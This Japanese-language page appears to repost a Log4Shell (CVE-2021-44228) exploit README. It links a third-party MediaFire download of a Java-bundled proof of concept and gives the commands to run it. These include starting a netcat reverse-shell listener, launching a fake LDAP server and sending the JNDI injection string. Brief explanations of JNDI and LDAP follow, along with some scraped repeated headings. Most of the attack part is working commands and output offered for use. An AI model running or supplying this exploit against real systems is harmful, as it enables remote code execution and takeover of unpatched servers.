Log4j-Exploit-CVE-2021-44228

Log4Shell 脆弱性テストツール https://log4shell.tools/

Java を同梱したエクスプロイト。アカウント作成などを避けるためです..

http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc_%25281%2529.zip/file

pip install -r requirements.txt

$ python3 poc.py --userip localhost --webport 8000 --lport 9001

nc -lvnp 9001

$ python3 poc.py --userip localhost --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up fake LDAP server

[+] Send me: ${jndi:ldap://localhost:1389/a}

Listening on 0.0.0.0:1389

log4j の基本概念

JNDI とは

これはインターフェースであり、ディレクトリサービス用の Java API です。Java ソフトウェアのクライアントが、名前を介してデータやリソースを発見し、検索できるようにします。

LDAP とは

これはディレクトリアクセスプロトコルです。LDAP は、Docker、Jenkins、Kubernetes、Open VPN、Linux Samba サーバーでユーザー名とパスワードを検証するために使用できます。LDAP シングルサインオンは、システム管理者が LDAP データベースへのアクセスを制御するためにも使用できます。

この脆弱性についてもっと詳しく知りたい方は、以下のドキュメントを参照してください:

https://www.lunasec.io/docs/blog/log4j-zero-day/

Java 同梱なしのエクスプロイト

Log4j-Exploit-CVE-2021-44228

人気

Log4j-Exploit-CVE-2021-44228

https://github.com/kozmer/log4j-shell-poc